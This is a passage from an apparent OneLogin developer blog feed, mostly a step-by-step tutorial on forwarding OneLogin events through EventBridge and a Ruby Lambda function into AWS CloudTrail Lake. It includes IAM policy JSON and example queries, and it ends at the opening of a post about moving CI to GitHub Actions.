&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;            &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;Effect&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;Allow&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;            &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;Action&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; [&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;                &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;logs:CreateLogStream&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;                &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;logs:CreateLogGroup&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            ]&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;            &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;Resource&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;arn:aws:logs:*:711520095505:log-group:*&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        }&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;            &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;Effect&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;Allow&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;            &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;Action&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;logs:PutLogEvents&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;            &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;Resource&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;arn:aws:logs:*:711520095505:log-group:*:log-stream:*&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        }&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;            &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;Effect&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;Allow&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;            &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;Action&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;iam:PassRole&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;            &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;Resource&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;            &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;Condition&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;                &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;StringEquals&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;                    &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;iam:PassedToService&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;cloudtrail.amazonaws.com&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    ]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;p&gt;Next, create a role to use for your lambda function:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;For &lt;strong&gt;Trusted entity type&lt;&#x2F;strong&gt;, select &lt;em&gt;AWS Service&lt;&#x2F;em&gt;.&lt;&#x2F;li&gt;
&lt;li&gt;For &lt;strong&gt;Use case&lt;&#x2F;strong&gt;, select &lt;em&gt;Lambda&lt;&#x2F;em&gt;.&lt;&#x2F;li&gt;
&lt;li&gt;Check the box to add your newly created policy to the role.&lt;&#x2F;li&gt;
&lt;li&gt;Name your role &lt;mark&gt;lambda-cloudtraillake-role&lt;&#x2F;mark&gt;.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;&lt;br &#x2F;&gt;&lt;hr &#x2F;&gt;&lt;br &#x2F;&gt;
# Step 3: Create the Lambda Function in AWS
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Choose &lt;strong&gt;Create function&lt;&#x2F;strong&gt; in the AWS Lambda console. For this step, I&#x27;m going to send you over to Amazon&#x27;s excellent guide, &lt;em&gt;&lt;a href=&quot;https:&#x2F;&#x2F;docs.aws.amazon.com&#x2F;lambda&#x2F;latest&#x2F;dg&#x2F;getting-started.html&quot; title=&quot;Getting started with Lambda&quot; target=&quot;_blank&quot;&gt;Create a Lambda function with the console&lt;&#x2F;a&gt;&lt;&#x2F;em&gt;. Use these options as you go:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Author:&lt;&#x2F;strong&gt; &lt;em&gt;from scratch&lt;&#x2F;em&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Function:&lt;&#x2F;strong&gt; &lt;mark&gt;OneLoginCloudTrailLakeConnector&lt;&#x2F;mark&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Runtime:&lt;&#x2F;strong&gt; &lt;em&gt;Ruby 2.7&lt;&#x2F;em&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Architecture:&lt;&#x2F;strong&gt; &lt;em&gt;arm64&lt;&#x2F;em&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Change the default execution role to &lt;em&gt;Use an existing role&lt;&#x2F;em&gt; and select &lt;em&gt;&lt;mark&gt;lambda-cloudtraillake-role&lt;&#x2F;mark&gt;&lt;&#x2F;em&gt;.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;&lt;p&gt;Once you create the Lambda, you can deploy the code by selecting &lt;strong&gt;Upload from&lt;&#x2F;strong&gt;, then choosing &lt;em&gt;Amazon S3 Location&lt;&#x2F;em&gt; and entering this URL:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;https&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;&#x2F;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;onelogin-screenshots.s3.amazonaws.com&#x2F;dev_site&#x2F;OneLoginCloudTrailLakeConnector.zip&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;p&gt;In Lambda&#x27;s &lt;strong&gt;Configuration&lt;&#x2F;strong&gt; tab, select &lt;strong&gt;Environment variables&lt;&#x2F;strong&gt; on the left and choose &lt;strong&gt;Edit&lt;&#x2F;strong&gt; to add these variables:&lt;&#x2F;p&gt;
&lt;table class=&quot;table table-hover&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;th&gt;aws_account_id&lt;&#x2F;th&gt;&lt;td&gt;Enter your organization&#x27;s AWS account ID.&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;th&gt;aws_channel_arn&lt;&#x2F;th&gt;&lt;td&gt;Paste in the Event Channel ARN you copied earlier while we were &lt;a href=&quot;#create-store&quot;&gt;creating the event data store&lt;&#x2F;a&gt;.&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;
&lt;&#x2F;table&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;&lt;br &#x2F;&gt;&lt;hr &#x2F;&gt;&lt;br &#x2F;&gt;
# Step 4: Create the EventBridge Webhook in OneLogin
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;To create this webhook, it&#x27;s time again to reference another guide, this time OneLogin&#x27;s own &lt;em&gt;&lt;a href=&quot;https:&#x2F;&#x2F;onelogin.service-now.com&#x2F;support?id=kb_article&amp;sys_id=e53d1342db2dd41024c780c74b961925&quot; title=&quot;Stream OneLogin Event Data to Amazon EventBridge&quot; target=&quot;_blank&quot;&gt;Stream OneLogin Event Data to Amazon EventBridge&lt;&#x2F;a&gt;&lt;&#x2F;em&gt;.&lt;&#x2F;p&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;p&gt;Once you&#x27;ve completed that process, verify that the webhook can be seen in the OneLogin Event Broadcaster&#x27;s list.&lt;&#x2F;p&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;p&gt;Select the newly created broadcaster and verify the &lt;strong&gt;Event Source&lt;&#x2F;strong&gt; value from the edit screen. It should look like &lt;code&gt;aws.partner&#x2F;onelogin.com&#x2F;&lt;mark&gt;US-205033&#x2F;061112e9cb&lt;&#x2F;mark&gt;&lt;&#x2F;code&gt;, with your webhook&#x27;s own ID in the marked portion.&lt;&#x2F;p&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;&lt;br &#x2F;&gt;&lt;hr &#x2F;&gt;&lt;br &#x2F;&gt;
# Step 5: Attach the EventBridge trigger to the Lambda Function
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;In your AWS EventBridge management portal, go to &lt;strong&gt;Integration &amp;gt; Partner event sources&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;p&gt;Select your event source value from &lt;strong&gt;Partner event sources&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;p&gt;Select &lt;strong&gt;Associate with event bus&lt;&#x2F;strong&gt; and go to &lt;strong&gt;Buses &gt; Rules&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;p&gt;In &lt;strong&gt;Event bus&lt;&#x2F;strong&gt;, select your ID and choose &lt;strong&gt;Create rule&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;p&gt;In &lt;strong&gt;Build event pattern&lt;&#x2F;strong&gt;, go to &lt;strong&gt;Event Source&lt;&#x2F;strong&gt; and select &lt;em&gt;AWS events or EventBridge partner events&lt;&#x2F;em&gt;.&lt;&#x2F;p&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;p&gt;Go to &lt;strong&gt;Creation Method&lt;&#x2F;strong&gt; and select &lt;em&gt;Use pattern form&lt;&#x2F;em&gt;.&lt;&#x2F;p&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;p&gt;Go to &lt;strong&gt;Event pattern&lt;&#x2F;strong&gt; and select:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Event source:&lt;&#x2F;strong&gt; &lt;em&gt;EventBridge partners&lt;&#x2F;em&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Partner:&lt;&#x2F;strong&gt; &lt;em&gt;OneLogin&lt;&#x2F;em&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Event Type:&lt;&#x2F;strong&gt; &lt;em&gt;All Events&lt;&#x2F;em&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;&lt;p&gt;Choose &lt;strong&gt;Next&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;p&gt;In &lt;strong&gt;Select target(s)&lt;&#x2F;strong&gt;, create two targets. To create the second target, select &lt;em&gt;Add another&lt;&#x2F;em&gt; at the bottom:&lt;&#x2F;p&gt;
&lt;table&gt;
&lt;thead&gt;&lt;tr&gt;&lt;th colspan=&quot;2&quot;&gt;Target 1 – for EventBridge logging&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;th&gt;Target types&lt;&#x2F;th&gt;&lt;td&gt;&lt;em&gt;AWS service&lt;&#x2F;em&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;th&gt;Select a target&lt;&#x2F;th&gt;&lt;td&gt;&lt;em&gt;CloudWatch log group &lt;&#x2F;em&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;th&gt;Log group&lt;&#x2F;th&gt;&lt;td&gt;&lt;code&gt;&#x2F;aws&#x2F;events&#x2F;eventbridge-onelogin&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;
&lt;&#x2F;table&gt;
&lt;table&gt;
&lt;thead&gt;&lt;tr&gt;&lt;th colspan=&quot;2&quot;&gt;Target 2 – to connect to your Lambda function&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;th&gt;Target types&lt;&#x2F;th&gt;&lt;td&gt;&lt;em&gt;AWS service&lt;&#x2F;em&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;th&gt;Select a target&lt;&#x2F;th&gt;&lt;td&gt;&lt;em&gt;Lambda function&lt;&#x2F;em&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;th&gt;Function&lt;&#x2F;th&gt;&lt;td&gt;&lt;em&gt;&lt;mark&gt;OneLoginCloudTrailLakeConnector&lt;&#x2F;mark&gt;&lt;&#x2F;em&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;
&lt;&#x2F;table&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;&lt;p&gt;Review and &lt;strong&gt;Save&lt;&#x2F;strong&gt; your settings.&lt;&#x2F;p&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;&lt;br &#x2F;&gt;&lt;hr &#x2F;&gt;&lt;br &#x2F;&gt;
# Step 6: Test your configuration
We&#x27;re almost done! The last thing we need to do is make sure that the events your users&#x27; activity generates through OneLogin are being forwarded through the AWS services you configured and posted CloudTrail Lake, like this:
&lt;ol&gt;
&lt;li&gt;Events are generated in OneLogin, such as user logins, admin changes, etc.
&lt;ul style=&quot;list-style-type:none;&quot;&gt;&lt;li&gt;&lt;strong&gt;TEST:&lt;&#x2F;strong&gt; Make any change to track.&lt;&#x2F;li&gt;&lt;&#x2F;ul&gt;&lt;&#x2F;li&gt;
&lt;li&gt;After up to one minute, events are forwarded to the AWS EventBridge via your brand new webhook. 
&lt;ul style=&quot;list-style-type:none;&quot;&gt;&lt;li&gt;&lt;strong&gt;TEST:&lt;&#x2F;strong&gt; Check the CloudWatch console in AWS for the &lt;em&gt;&#x2F;aws&#x2F;events&#x2F;eventbridge-onelogin&lt;&#x2F;em&gt; log group to see if your event was posted.&lt;&#x2F;li&gt;&lt;&#x2F;ul&gt;&lt;&#x2F;li&gt;
&lt;li&gt;The event in the EventBridge triggers the Lambda function, which posts to the CloudTrail Lake ingestion channel.
&lt;ul style=&quot;list-style-type:none;&quot;&gt;&lt;li&gt;&lt;strong&gt;TEST:&lt;&#x2F;strong&gt; Check the CloudWatch console in AWS for the &lt;em&gt;&#x2F;aws&#x2F;lambda&#x2F;&lt;mark&gt;OneLoginCloudTrailLakeConnector&lt;&#x2F;mark&gt;&lt;&#x2F;em&gt; log group to see if the Lambda function is being triggered.&lt;&#x2F;li&gt;&lt;&#x2F;ul&gt;&lt;&#x2F;li&gt;
&lt;li&gt;The event data arrives in CloudTrail Lake and can be found via query.
&lt;ul style=&quot;list-style-type:none;&quot;&gt;&lt;li&gt;&lt;strong&gt;TEST:&lt;&#x2F;strong&gt; Enter the &lt;a href=&quot;#queries&quot;&gt;validation query&lt;&#x2F;a&gt; in the CloudTrail Lake console and verify that it returns all records for your event store.&lt;&#x2F;li&gt;&lt;&#x2F;ul&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;&lt;br &#x2F;&gt;&lt;hr &#x2F;&gt;&lt;br &#x2F;&gt;
## Example Queries
&lt;table class=&quot;table table-hover&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;th&gt;Validation Query&lt;&#x2F;th&gt;&lt;td&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;SELECT
     * 
FROM
     &amp;lt;mark&amp;gt;onelogin-event-data-store&amp;lt;&#x2F;mark&amp;gt;
ORDER BY
     EventTime 
DESC
     limit 10&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;th&gt;Search for all events of a specific event type, such as &lt;em&gt;USER_LOGGED_INTO_ONELOGIN&lt;&#x2F;em&gt;&lt;&#x2F;th&gt;&lt;td&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;SELECT
     eventData.eventname,
     eventTime,
     json_extract(eventJson, &amp;#x27;$.eventData&amp;#x27;) as eventData 
FROM
     &amp;lt;mark&amp;gt;onelogin-event-data-store&amp;lt;&#x2F;mark&amp;gt;
WHERE
     eventData.eventname = &amp;lt;mark&amp;gt;EVENT-TYPE&amp;lt;&#x2F;mark&amp;gt;
ORDER BY
     EventTime
DESC
     limit 10&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;th&gt;Get risk scores and reasons for all risk events&lt;&#x2F;th&gt;&lt;td&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;SELECT
     eventData.eventname,
     json_extract(eventJson, &amp;#x27;$.eventData.additionalEventData.raw.detail.risk_score&amp;#x27;) as risk_score,
     json_extract(eventJson, &amp;#x27;$.eventData.additionalEventData.raw.detail.risk_reasons&amp;#x27;) as risk_reasons,
     json_extract(eventJson, &amp;#x27;$.eventData&amp;#x27;) as eventData
FROM
     &amp;lt;mark&amp;gt;onelogin-event-data-store&amp;lt;&#x2F;mark&amp;gt;
WHERE
     json_extract(eventJson, &amp;#x27;$.eventData.additionalEventData.raw.detail.risk_score&amp;#x27;) IS NOT NULL
ORDER BY
     EventTime
DESC
     limit 10&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;
&lt;&#x2F;table&gt;
&lt;br &#x2F;&gt;
&lt;hr &#x2F;&gt;
&lt;br &#x2F;&gt;
And that&#x27;s it! From now on, all your OneLogin activity events will be securely aggregated and stored in AWS CloudTrail Lake for easy access and analysis. Enjoy!
&lt;style&gt;
:not(.prettyprint)&gt;code span {
  color: #ccc;
}
pre {
  overflow-x: auto;
  white-space: pre-wrap;
  white-space: -moz-pre-wrap;
  white-space: -pre-wrap;
  white-space: -o-pre-wrap;
  word-wrap: break-word;
}
&lt;&#x2F;style&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Migrating Continuous Integration (CI) from TeamCity to GitHub Actions</title>
        <published>2021-10-14T00:00:00+00:00</published>
        <updated>2021-10-14T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://developers.onelogin.com/blog/migrating-ci-from-teamcity-github-actions/"/>
        <id>https://developers.onelogin.com/blog/migrating-ci-from-teamcity-github-actions/</id>
        
        <content type="html" xml:base="https://developers.onelogin.com/blog/migrating-ci-from-teamcity-github-actions/">&lt;p&gt;Like any organization that wants to ensure changes to a code base are actively being tested, OneLogin leverages Continuous Integration (CI) to run tests suites for each project in the OneLogin product. In this article, I’ll talk about OneLogin’s journey to migrate 50+ repositories from &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.jetbrains.com&#x2F;teamcity&#x2F;&quot;&gt;TeamCity&lt;&#x2F;a&gt; to &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;features&#x2F;actions&quot;&gt;GitHub Actions&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;the-era-of-teamcity&quot;&gt;The Era of TeamCity&lt;&#x2F;h2&gt;
